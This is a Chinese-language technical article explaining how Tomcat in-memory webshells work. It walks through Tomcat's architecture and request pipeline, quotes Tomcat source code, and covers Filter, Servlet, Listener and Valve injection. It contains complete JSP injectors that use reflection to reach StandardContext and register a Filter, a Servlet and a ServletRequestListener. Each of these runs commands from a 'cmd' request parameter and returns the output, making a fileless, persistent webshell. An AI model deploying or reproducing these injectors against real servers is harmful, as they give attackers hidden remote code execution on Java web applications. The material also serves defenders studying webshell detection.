浅析Tomcat内存马
Web应用 初始化流程
部署描述文件中由<listener>元素标记的事件监听器会被创建和初始化,事件监听器如果实现了ServletContextListener接口,将会调用其实现的contextInitialized()方法
部署描述文件中由<filter>元素标记的过滤器会被创建和初始化,并调用其init()方法,每一次请求时都只调用doFilter()方法进行处理
部署描述文件中由<servlet>元素标记的Servlet会根据<load-on-startup>的权值按顺序创建和初始化,并调用其init()方法,Servlet一旦被装入到Web容器之后,一般会长久驻留,直到Web容器停止运行或重新装入Servlet时结束生命周期,Servlet在第一次访问之后都只调用doGet()或doPost()方法
Tomcat Tomcat体系结构
Server :表示一个Tomcat实例(单例),即整个catalina servlet容器,主要是用来管理容器下各个Serivce组件的生命周期
Service :一组提供服务、处理请求的组件,将一组Connector组件和Engine关联了起来
Connector :客户端连接到Tomcat容器的服务点,它为Engine提供协议服务,并根据Engine与客户端通讯的协议类型进行隔离,如HTTP、HTTPS、AJP协议
Container :Container是容器的父接口,用于封装和管理Servlet,以及处理Request请求,它包含了四大请求处理组件:Engine、Host、Context和Wrapper
Engine :Service中的请求处理组件,包含了Servlet容器的核心功能,主要负责将传入请求委托给适当的Host处理
Host :虚拟主机,每个Host会与某个网络域名相匹配,负责运行多个Web Application,每个Web Application对应一个Context,负责将收到的请求匹配到对应的Context,匹配的方法为“最长匹配”
Context :一个Contenxt代表一个Web Application,具备了Servlet运行的基本环境
Wrapper :最底层的容器,一个Wrapper代表一个Servlet,负责Servlet的装载、初始化、执行和资源回收
Tomcat组件关系
一个Server包含一个或多个Service
一个Service包含多个Connector和一个Container
一个Container只能包含一个Engine
一个Engine包含一个或多个Host
一个Host包含一个或多个Web Application
一个Context表示一个运行着Tomcat实例的Web Application
一个Web Application包含一个或多个Wrapper
一个Wrapper表示一个Servlet
Engine、Host、Context和Wrapper是显现了Container接口的容器
Tomcat执行流程 客户端和服务端交互过程
请求数据流图
Pipeline调用链
Connector在某个指定的端口上来监听客户端发来的请求
Connector使用ProtocolHandler处理器处理收到的请求,ProtocolHandler处理器共有三个组件
Endpoint负责接受,处理socket网络连接(Executor提供多线程操作)
Processor根据协议类型封装成Request
Adapter负责将封装好的Request交给Container进行处理
Container使用Pipeline-valve管道处理请求,每个 Pipeline 都有一个最后执行的、不可删除的 BasicValve,通常命名为Standard(xxx)Valve,如上图所示,上层容器valve调用下层valve形成链式结构
EnginePipeline:EngineValve1 -> … ->StandardEngineValve
HostPipeline:HostValve1 -> … ->StandardHostValve
ContextPipeline:ContextValve1 -> … ->StandardContextValve
WrapperPipeline:WrapperValve1 -> … ->StandardWrapperValve
创建FilterChain,如果一个URL对应多个Filter则进行链式调用
最终由Servlet处理请求,并将处理的结果返回给Connector
Connector把响应回传给客户端
StandardContext StandardContext是Context的实现类,涵盖了Web Application的启动流程,包括使用WebResourceRoot加载资源文件、利用Loader加载class,使用JarScanner扫描,实例化Sesssion管理器,初始化各种Listener、Filter和Servlet等功能
以下讲到的内存马都是基于修改StandardContext实现的,所以如何获取StandardContext也是内存马实现的重点之一
获取方法
目前StandardContext获取的方式有以下几种:
从request对象反射出ApplicationContext,再反射出StandardContext
1 2 3 4 5 6 7 8 9 ServletContext servletContext = request.getSession().getServletContext();Field appctx = servletContext.getClass().getDeclaredField("context" );appctx.setAccessible(true ); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);Field stdctx = applicationContext.getClass().getDeclaredField("context" );stdctx.setAccessible(true ); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
从ThreadLocal中获取request
Tomcat 7、8、9
参考**@threedr3am**师傅的文章
从ContextClassLoader中获取
Tomcat 8、9
1 2 3 org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext();
遍历thread数组获取包含StandardContext的类,其中Acceptor为全版本tomcat都有
Tomcat 6、7、8、9
参考**@bitterz**师傅的文章 ,比如下面方法就能够拿到/manager下的StandardContext
1 2 3 4 5 Thread[] threads = (Thread[]) this .getField(Thread.currentThread().getThreadGroup(), "threads" ); threads[3 ] ==> Thread[ContainerBackgroundProcessor[StandardEngine[Catalina]],5 ,main] threads[3 ].target.this $0. children.values.toArray()[0 ].children.get("/manager" )
Filter内存马 FilterChain 前面提到,当StandardWrapperValve执行完后就会创建FilterChain,所以FilterChain的入口位于org/apache/catalina/core/StandardWrapperValve.java#invoke函数中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 package org.apache.catalina.core;final class StandardWrapperValve extends ValveBase { @Override public final void invoke (Request request, Response response) throws IOException, ServletException { ... MessageBytes requestPathMB = request.getRequestPathMB(); DispatcherType dispatcherType = DispatcherType.REQUEST; if (request.getDispatcherType()==DispatcherType.ASYNC) dispatcherType = DispatcherType.ASYNC; request.setAttribute(Globals.DISPATCHER_TYPE_ATTR,dispatcherType); request.setAttribute(Globals.DISPATCHER_REQUEST_PATH_ATTR, requestPathMB); ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet); ...
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 package org.apache.catalina.core;public final class ApplicationFilterFactory { public static ApplicationFilterChain createFilterChain (ServletRequest request, Wrapper wrapper, Servlet servlet) { if (servlet == null ) return null ; ApplicationFilterChain filterChain = null ; if (request instanceof Request) { Request req = (Request) request; if (Globals.IS_SECURITY_ENABLED) { filterChain = new ApplicationFilterChain (); } else { filterChain = (ApplicationFilterChain) req.getFilterChain(); if (filterChain == null ) { filterChain = new ApplicationFilterChain (); req.setFilterChain(filterChain); } } } else { filterChain = new ApplicationFilterChain (); } filterChain.setServlet(servlet); filterChain.setServletSupportsAsync(wrapper.isAsyncSupported()); StandardContext context = (StandardContext) wrapper.getParent(); FilterMap filterMaps[] = context.findFilterMaps(); if ((filterMaps == null ) || (filterMaps.length == 0 )) return filterChain; DispatcherType dispatcher = (DispatcherType) request.getAttribute(Globals.DISPATCHER_TYPE_ATTR); String requestPath = null ; Object attribute = request.getAttribute(Globals.DISPATCHER_REQUEST_PATH_ATTR); if (attribute != null ){ requestPath = attribute.toString(); } String servletName = wrapper.getName(); for (FilterMap filterMap : filterMaps) { if (!matchDispatcher(filterMap, dispatcher)) { continue ; } if (!matchFiltersURL(filterMap, requestPath)) continue ; ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) context.findFilterConfig(filterMap.getFilterName()); if (filterConfig == null ) { continue ; } filterChain.addFilter(filterConfig); } for (FilterMap filterMap : filterMaps) { if (!matchDispatcher(filterMap, dispatcher)) { continue ; } if (!matchFiltersServlet(filterMap, servletName)) continue ; ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) context.findFilterConfig(filterMap.getFilterName()); if (filterConfig == null ) { continue ; } filterChain.addFilter(filterConfig); } return filterChain; }
再次回到StandardWrapperValve的invoke()函数中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 package org.apache.catalina.core;final class StandardWrapperValve extends ValveBase { @Override public final void invoke (Request request, Response response) throws IOException, ServletException { ... MessageBytes requestPathMB = request.getRequestPathMB(); DispatcherType dispatcherType = DispatcherType.REQUEST; if (request.getDispatcherType()==DispatcherType.ASYNC) dispatcherType = DispatcherType.ASYNC; request.setAttribute(Globals.DISPATCHER_TYPE_ATTR,dispatcherType); request.setAttribute(Globals.DISPATCHER_REQUEST_PATH_ATTR, requestPathMB); ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet); try { if ((servlet != null ) && (filterChain != null )) { if (context.getSwallowOutput()) { try { SystemLogHandler.startCapture(); if (request.isAsyncDispatching()) { request.getAsyncContextInternal().doInternalDispatch(); } else { filterChain.doFilter(request.getRequest(), response.getResponse()); } } finally { String log = SystemLogHandler.stopCapture(); if (log != null && log.length() > 0 ) { context.getLogger().info(log); } } } else { if (request.isAsyncDispatching()) { request.getAsyncContextInternal().doInternalDispatch(); } else { filterChain.doFilter (request.getRequest(), response.getResponse()); } } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 package org.apache.catalina.core;public final class ApplicationFilterChain implements FilterChain { @Override public void doFilter (ServletRequest request, ServletResponse response) throws IOException, ServletException { if ( Globals.IS_SECURITY_ENABLED ) { final ServletRequest req = request; final ServletResponse res = response; try { java.security.AccessController.doPrivileged( new java .security.PrivilegedExceptionAction<Void>() { @Override public Void run () throws ServletException, IOException { internalDoFilter(req,res); return null ; } } ); } catch ( PrivilegedActionException pe) { Exception e = pe.getException(); if (e instanceof ServletException) throw (ServletException) e; else if (e instanceof IOException) throw (IOException) e; else if (e instanceof RuntimeException) throw (RuntimeException) e; else throw new ServletException (e.getMessage(), e); } } else { internalDoFilter(request,response); } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 package org.apache.catalina.core;public final class ApplicationFilterChain implements FilterChain { private void internalDoFilter (ServletRequest request, ServletResponse response) throws IOException, ServletException { if (pos < n) { ApplicationFilterConfig filterConfig = filters[pos++]; try { Filter filter = filterConfig.getFilter(); if (request.isAsyncSupported() && "false" .equalsIgnoreCase( filterConfig.getFilterDef().getAsyncSupported())) { request.setAttribute(Globals.ASYNC_SUPPORTED_ATTR, Boolean.FALSE); } if ( Globals.IS_SECURITY_ENABLED ) { final ServletRequest req = request; final ServletResponse res = response; Principal principal = ((HttpServletRequest) req).getUserPrincipal(); Object[] args = new Object []{req, res, this }; SecurityUtil.doAsPrivilege ("doFilter" , filter, classType, args, principal); } else { filter.doFilter(request, response, this ); } } catch (IOException | ServletException | RuntimeException e) { throw e; } catch (Throwable e) { e = ExceptionUtils.unwrapInvocationTargetException(e); ExceptionUtils.handleThrowable(e); throw new ServletException (sm.getString("filterChain.filter" ), e); } return ; } try { if (ApplicationDispatcher.WRAP_SAME_OBJECT) { lastServicedRequest.set(request); lastServicedResponse.set(response); } if (request.isAsyncSupported() && !servletSupportsAsync) { request.setAttribute(Globals.ASYNC_SUPPORTED_ATTR, Boolean.FALSE); } if ((request instanceof HttpServletRequest) && (response instanceof HttpServletResponse) && Globals.IS_SECURITY_ENABLED ) { final ServletRequest req = request; final ServletResponse res = response; Principal principal = ((HttpServletRequest) req).getUserPrincipal(); Object[] args = new Object []{req, res}; SecurityUtil.doAsPrivilege("service" , servlet, classTypeUsedInService, args, principal); } else { servlet.service(request, response); } } }
总结
想要注入一个filter内存马,核心在篡改StandardContext中的filterMaps属性来绕过dispatcher和requestPath,然后把filterConfig注入到StandardContext的filterConfigs属性中即可
filterMaps需要包含对应的dispatcherMapping、filterName和urlPatterns
filterConfig中的filterDef需要包含对应的filter、filterClass和filterName
Filter内存马实例
一定要先修改filterDef,再修改filterMap,不然会抛出找不到filterName的异常
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 <%@ page import ="java.lang.reflect.Field" %> <%@ page import ="java.util.Map" %> <%@ page import ="org.apache.catalina.core.ApplicationContext" %> <%@ page import ="org.apache.catalina.core.StandardContext" %> <%@ page import ="java.io.IOException" %> <%@ page import ="java.io.InputStream" %> <%@ page import ="java.util.Scanner" %> <%@ page import ="java.lang.reflect.Constructor" %> <%@ page import ="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import ="org.apache.tomcat.util.descriptor.web.FilterMap" %> <%@ page import ="org.apache.catalina.Context" %> <%@ page import ="org.apache.catalina.core.ApplicationFilterConfig" %> <%@ page import ="java.io.PrintWriter" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <html> <head> <title>AddFilter</title> </head> <body> <% Field Configs = null ; Map filterConfigs; try { ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context" ); appctx.setAccessible(true ); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context" ); stdctx.setAccessible(true ); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); Configs = standardContext.getClass().getDeclaredField("filterConfigs" ); Configs.setAccessible(true ); filterConfigs = (Map) Configs.get(standardContext); String FilterName = "CmdFilter" ; if (filterConfigs.get(FilterName) == null ) { Filter filter = new Filter () { @Override public void init (FilterConfig filterConfig) {} @Override public void doFilter (ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { HttpServletRequest req = (HttpServletRequest) servletRequest; if (req.getParameter("cmd" ) != null ) { InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd" )).getInputStream(); Scanner s = new Scanner (in).useDelimiter("\\A" ); String output = s.hasNext() ? s.next() : "" ; servletResponse.getWriter().write(output); PrintWriter out = servletResponse.getWriter(); out.println(output); out.flush(); out.close(); } filterChain.doFilter(servletRequest, servletResponse); } @Override public void destroy () {} }; Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef" ); Constructor declaredConstructor1 = FilterDef.getDeclaredConstructor(); org.apache.tomcat.util.descriptor.web.FilterDef filterDef = (FilterDef) declaredConstructor1.newInstance(); filterDef.setFilter(filter); filterDef.setFilterName(FilterName); filterDef.setFilterClass(filter.getClass().getName()); standardContext.addFilterDef(filterDef); Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap" ); Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor(); org.apache.tomcat.util.descriptor.web.FilterMap filterMap = (FilterMap) declaredConstructor.newInstance(); filterMap.addURLPattern("/*" ); filterMap.setFilterName(FilterName); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMap(filterMap); Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig" ); Constructor<?> declaredConstructor2 = ApplicationFilterConfig.getDeclaredConstructor(Context.class, FilterDef.class); declaredConstructor2.setAccessible(true ); org.apache.catalina.core.ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) declaredConstructor2.newInstance(standardContext, filterDef); filterConfigs.put(FilterName, filterConfig); response.getWriter().write("Success" ); } } catch (Exception e) { e.printStackTrace(); } %> </body> </html>
Servlet内存马 loadOnStartup 在StanderContext的初始化过程中,在配置完filter之后就会调用loadOnStartup()方法来初始化servlet
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 package org.apache.catalina.core;public class StandardContext extends ContainerBase implements Context , NotificationEmitter { @Override protected synchronized void startInternal () throws LifecycleException { ... if (ok) { if (!filterStart()) { log.error(sm.getString("standardContext.filterFail" )); ok = false ; } } if (ok) { if (!loadOnStartup(findChildren())){ log.error(sm.getString("standardContext.servletFail" )); ok = false ; } } ...
1 2 3 4 5 6 7 8 9 10 11 package org.apache.catalina.core;public abstract class ContainerBase extends LifecycleMBeanBase implements Container { @Override public Container[] findChildren() { synchronized (children) { Container results[] = new Container [children.size()]; return children.values().toArray(results); } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 package org.apache.catalina.core;public class StandardContext extends ContainerBase implements Context , NotificationEmitter { public boolean loadOnStartup (Container children[]) { TreeMap<Integer, ArrayList<Wrapper>> map = new TreeMap <>(); for (Container child : children) { Wrapper wrapper = (Wrapper) child; int loadOnStartup = wrapper.getLoadOnStartup(); if (loadOnStartup < 0 ) { continue ; } Integer key = Integer.valueOf(loadOnStartup); ArrayList<Wrapper> list = map.get(key); if (list == null ) { list = new ArrayList <>(); map.put(key, list); } list.add(wrapper); } for (ArrayList<Wrapper> list : map.values()) { for (Wrapper wrapper : list) { try { wrapper.load(); } catch (ServletException e) { getLogger().error(sm.getString("standardContext.loadOnStartup.loadException" , getName(), wrapper.getName()), StandardWrapper.getRootCause(e)); if (getComputedFailCtxIfServletStartFails()) { return false ; } } } } return true ; }
所以这里的重点是修改children属性加入我们的wrapper,向上追溯如何生成children,我们可以来到解析web.xml的函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 package org.apache.catalina.startup;public class ContextConfig implements LifecycleListener { private void configureContext (WebXml webxml) { ... for (ServletDef servlet : webxml.getServlets().values()) { Wrapper wrapper = context.createWrapper(); if (servlet.getLoadOnStartup() != null ) { wrapper.setLoadOnStartup(servlet.getLoadOnStartup().intValue()); } if (servlet.getEnabled() != null ) { wrapper.setEnabled(servlet.getEnabled().booleanValue()); } wrapper.setName(servlet.getServletName()); Map<String,String> params = servlet.getParameterMap(); for (Entry<String, String> entry : params.entrySet()) { wrapper.addInitParameter(entry.getKey(), entry.getValue()); } wrapper.setRunAs(servlet.getRunAs()); Set<SecurityRoleRef> roleRefs = servlet.getSecurityRoleRefs(); for (SecurityRoleRef roleRef : roleRefs) { wrapper.addSecurityReference( roleRef.getName(), roleRef.getLink()); } wrapper.setServletClass(servlet.getServletClass()); MultipartDef multipartdef = servlet.getMultipartDef(); if (multipartdef != null ) { long maxFileSize = -1 ; long maxRequestSize = -1 ; int fileSizeThreshold = 0 ; if (null != multipartdef.getMaxFileSize()) { maxFileSize = Long.parseLong(multipartdef.getMaxFileSize()); } if (null != multipartdef.getMaxRequestSize()) { maxRequestSize = Long.parseLong(multipartdef.getMaxRequestSize()); } if (null != multipartdef.getFileSizeThreshold()) { fileSizeThreshold = Integer.parseInt(multipartdef.getFileSizeThreshold()); } wrapper.setMultipartConfigElement(new MultipartConfigElement ( multipartdef.getLocation(), maxFileSize, maxRequestSize, fileSizeThreshold)); } if (servlet.getAsyncSupported() != null ) { wrapper.setAsyncSupported( servlet.getAsyncSupported().booleanValue()); } wrapper.setOverridable(servlet.isOverridable()); context.addChild(wrapper); } ...
addChild()方法会调用父类的addChildInternal()方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 package org.apache.catalina.core;public abstract class ContainerBase extends LifecycleMBeanBase implements Container { private void addChildInternal (Container child) { if ( log.isDebugEnabled() ) log.debug("Add child " + child + " " + this ); synchronized (children) { if (children.get(child.getName()) != null ) throw new IllegalArgumentException ("addChild: Child name '" + child.getName() + "' is not unique" ); child.setParent(this ); children.put(child.getName(), child); } try { if ((getState().isAvailable() || LifecycleState.STARTING_PREP.equals(getState())) && startChildren) { child.start(); } } catch (LifecycleException e) { log.error("ContainerBase.addChild: start: " , e); throw new IllegalStateException ("ContainerBase.addChild: start: " + e); } finally { fireContainerEvent(ADD_CHILD_EVENT, child); } }
同时需要注意在解析web.xml时,还会将解析到WebServlet添加到context的servletMappingNames属性中,来添加URL匹配规则
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 package org.apache.catalina.startup;public class ContextConfig implements LifecycleListener { protected void processClass (WebXml fragment, JavaClass clazz) { AnnotationEntry[] annotationsEntries = clazz.getAnnotationEntries(); if (annotationsEntries != null ) { String className = clazz.getClassName(); for (AnnotationEntry ae : annotationsEntries) { String type = ae.getAnnotationType(); if ("Ljavax/servlet/annotation/WebServlet;" .equals(type)) { processAnnotationWebServlet(className, ae, fragment); }else if ("Ljavax/servlet/annotation/WebFilter;" .equals(type)) { processAnnotationWebFilter(className, ae, fragment); }else if ("Ljavax/servlet/annotation/WebListener;" .equals(type)) { fragment.addListener(className); } else { } } } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 package org.apache.catalina.startup;public class ContextConfig implements LifecycleListener { package org.apache.catalina.startup;protected void processAnnotationWebServlet (String className, AnnotationEntry ae, WebXml fragment) { ... if (urlPatterns != null ) { if (!fragment.getServletMappings().containsValue(servletName)) { for (String urlPattern : urlPatterns) { fragment.addServletMapping(urlPattern, servletName); } } } ...
1 2 3 4 5 6 7 8 9 10 11 12 package org.apache.tomcat.util.descriptor.web;public class WebXml extends XmlEncodingBase implements DocumentProperties .Encoding, public void addServletMappingDecoded (String urlPattern, String servletName) { String oldServletName = servletMappings.put(urlPattern, servletName); if (oldServletName != null ) { throw new IllegalArgumentException (sm.getString( "webXml.duplicateServletMapping" , oldServletName, servletName, urlPattern)); } servletMappingNames.add(servletName); }
总结
在StandardContext的children属性中加入我们定义的wrapper
在servletMappingNames属性中加入我们的servlet映射
设置servlet的loadOnStartup属性值大于0
Servlet内存马实例 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 <%@ page import ="java.lang.reflect.Field" %> <%@ page import ="org.apache.catalina.core.ApplicationContext" %> <%@ page import ="org.apache.catalina.core.StandardContext" %> <%@ page import ="java.io.IOException" %> <%@ page import ="java.io.InputStream" %> <%@ page import ="java.util.Scanner" %> <%@ page import ="java.io.PrintWriter" %> <%@ page import ="org.apache.catalina.Wrapper" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <html> <head> <title>AddServlet</title> </head> <body> <% try { ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context" ); appctx.setAccessible(true ); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context" ); stdctx.setAccessible(true ); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); String servletURL = "/cmdServlet" ; String servletName = "CmdServlet" ; Servlet servlet = new Servlet () { @Override public void init (ServletConfig servletConfig) { } @Override public ServletConfig getServletConfig () { return null ; } @Override public void service (ServletRequest servletRequest, ServletResponse servletResponse) throws IOException { String cmd = servletRequest.getParameter("cmd" ); if ("cmd" != null ) { InputStream in = Runtime.getRuntime().exec(cmd).getInputStream(); Scanner s = new Scanner (in).useDelimiter("\\A" ); String output = s.hasNext() ? s.next() : "" ; PrintWriter out = servletResponse.getWriter(); out.println(output); out.flush(); out.close(); } } @Override public String getServletInfo () { return null ; } @Override public void destroy () { } }; Wrapper wrapper = standardContext.createWrapper(); wrapper.setName(servletName); wrapper.setServlet(servlet); wrapper.setServletClass(servlet.getClass().getName()); wrapper.setLoadOnStartup(1 ); standardContext.addChild(wrapper); standardContext.addServletMappingDecoded(servletURL, servletName); response.getWriter().write("Success" ); } catch (Exception e) { e.printStackTrace(); } %> </body> </html>
Listener内存马 Listener分类
Listener的种类有很多,但是有些不适用于作为内存马,比如ServletContextListener需要涉及到启动和停止服务器,HttpSessionListener需要设计session的创建和销毁,而ServletRequestListener只涉及到当前请求,所以最适合做内存马的是ServletRequestListener
listenerStart 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 package org.apache.catalina.core;public class StandardContext extends ContainerBase implements Context , NotificationEmitter { @Override protected synchronized void startInternal () throws LifecycleException { ... if (ok) { if (!listenerStart()) { log.error(sm.getString("standardContext.listenerFail" )); ok = false ; } } ...
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 package org.apache.catalina.core;public class StandardContext extends ContainerBase implements Context , NotificationEmitter { public boolean listenerStart () { if (log.isDebugEnabled()) log.debug("Configuring application event listeners" ); String listeners[] = findApplicationListeners(); Object results[] = new Object [listeners.length]; boolean ok = true ; for (int i = 0 ; i < results.length; i++) { if (getLogger().isDebugEnabled()) getLogger().debug(" Configuring event listener class '" + listeners[i] + "'" ); try { String listener = listeners[i]; results[i] = getInstanceManager().newInstance(listener); } catch (Throwable t) { t = ExceptionUtils.unwrapInvocationTargetException(t); ExceptionUtils.handleThrowable(t); getLogger().error(sm.getString( "standardContext.applicationListener" , listeners[i]), t); ok = false ; } } if (!ok) { getLogger().error(sm.getString("standardContext.applicationSkipped" )); return false ; } List<Object> eventListeners = new ArrayList <>(); List<Object> lifecycleListeners = new ArrayList <>(); for (Object result : results) { if ((result instanceof ServletContextAttributeListener) || (result instanceof ServletRequestAttributeListener) || (result instanceof ServletRequestListener) || (result instanceof HttpSessionIdListener) || (result instanceof HttpSessionAttributeListener)) { eventListeners.add(result); } if ((result instanceof ServletContextListener) || (result instanceof HttpSessionListener)) { lifecycleListeners.add(result); } } eventListeners.addAll(Arrays.asList(getApplicationEventListeners())); setApplicationEventListeners(eventListeners.toArray()); for (Object lifecycleListener: getApplicationLifecycleListeners()) { lifecycleListeners.add(lifecycleListener); if (lifecycleListener instanceof ServletContextListener) { noPluggabilityListeners.add(lifecycleListener); } } setApplicationLifecycleListeners(lifecycleListeners.toArray()); if (getLogger().isDebugEnabled()) getLogger().debug("Sending application start events" ); getServletContext(); context.setNewServletContextListenerAllowed(false ); Object instances[] = getApplicationLifecycleListeners(); if (instances == null || instances.length == 0 ) { return ok; } ServletContextEvent event = new ServletContextEvent (getServletContext()); ServletContextEvent tldEvent = null ; if (noPluggabilityListeners.size() > 0 ) { noPluggabilityServletContext = new NoPluggabilityServletContext (getServletContext()); tldEvent = new ServletContextEvent (noPluggabilityServletContext); } for (Object instance : instances) { if (!(instance instanceof ServletContextListener)) { continue ; } ServletContextListener listener = (ServletContextListener) instance; try { fireContainerEvent("beforeContextInitialized" , listener); if (noPluggabilityListeners.contains(listener)) { listener.contextInitialized(tldEvent); } else { listener.contextInitialized(event); } fireContainerEvent("afterContextInitialized" , listener); } catch (Throwable t) { ExceptionUtils.handleThrowable(t); fireContainerEvent("afterContextInitialized" , listener); getLogger().error(sm.getString("standardContext.listenerStart" , instance.getClass().getName()), t); ok = false ; } } return ok; }
所以这里的重点在于我们怎么把Linstener添加到applicationListeners属性中,通过属性调用找到了addApplicationListener()函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 package org.apache.catalina.core;public class StandardContext extends ContainerBase implements Context , NotificationEmitter { @Override public void addApplicationListener (String listener) { synchronized (applicationListenersLock) { String results[] = new String [applicationListeners.length + 1 ]; for (int i = 0 ; i < applicationListeners.length; i++) { if (listener.equals(applicationListeners[i])) { log.info(sm.getString("standardContext.duplicateListener" ,listener)); return ; } results[i] = applicationListeners[i]; } results[applicationListeners.length] = listener; applicationListeners = results; } fireContainerEvent("addApplicationListener" , listener); }
总结
直接调用addApplicationListener将我们的Listener添加到StandardContext的applicationListeners属性中
Listener内存马实例 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 <%@ page import ="java.lang.reflect.Field" %> <%@ page import ="org.apache.catalina.core.ApplicationContext" %> <%@ page import ="org.apache.catalina.core.StandardContext" %> <%@ page import ="java.io.InputStream" %> <%@ page import ="java.util.Scanner" %> <%@ page import ="java.io.PrintWriter" %> <%@ page import ="java.io.IOException" %> <%@ page import ="org.apache.catalina.connector.Request" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <html> <head> <title>AddLinstener</title> </head> <body> <% try { ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context" ); appctx.setAccessible(true ); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context" ); stdctx.setAccessible(true ); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); ServletRequestListener listener = new ServletRequestListener () { @Override public void requestDestroyed (ServletRequestEvent sre) { HttpServletRequest req = (HttpServletRequest) sre.getServletRequest(); String cmd = req.getParameter("cmd" ); if (cmd != null ){ try { InputStream in = Runtime.getRuntime().exec(cmd).getInputStream(); Scanner s = new Scanner (in).useDelimiter("\\A" ); String output = s.hasNext() ? s.next() : "" ; Field requestF = req.getClass().getDeclaredField("request" ); requestF.setAccessible(true ); Request request = (Request)requestF.get(req); PrintWriter out= request.getResponse().getWriter(); out.println(output); out.flush(); out.close(); } catch (Exception e) {} } } @Override public void requestInitialized (ServletRequestEvent sre) {} }; standardContext.addApplicationEventListener(listener); response.getWriter().write("Success" ); } catch (Exception e) { e.printStackTrace(); } %> </body> </html>
Valve内存马 Pineline 在上面的Tomcat执行流程中讲到过Pineline的调用链,每一层的valve都会顺序调用,上层的valve会调用下层的valve,然后每次调用valve的invoke()方法
比如在StandardHostValve类中是这样调用vavle的invoke()方法的
1 2 3 Context context = request.getContext(); ... context.getPipeline().getFirst().invoke(request, response);
然后在每一个invoke()里面又会递归调用
1 getNext().invoke(request, response);
所以我们只需在standardContext中添加我们的valve,即可注入Valve内存马
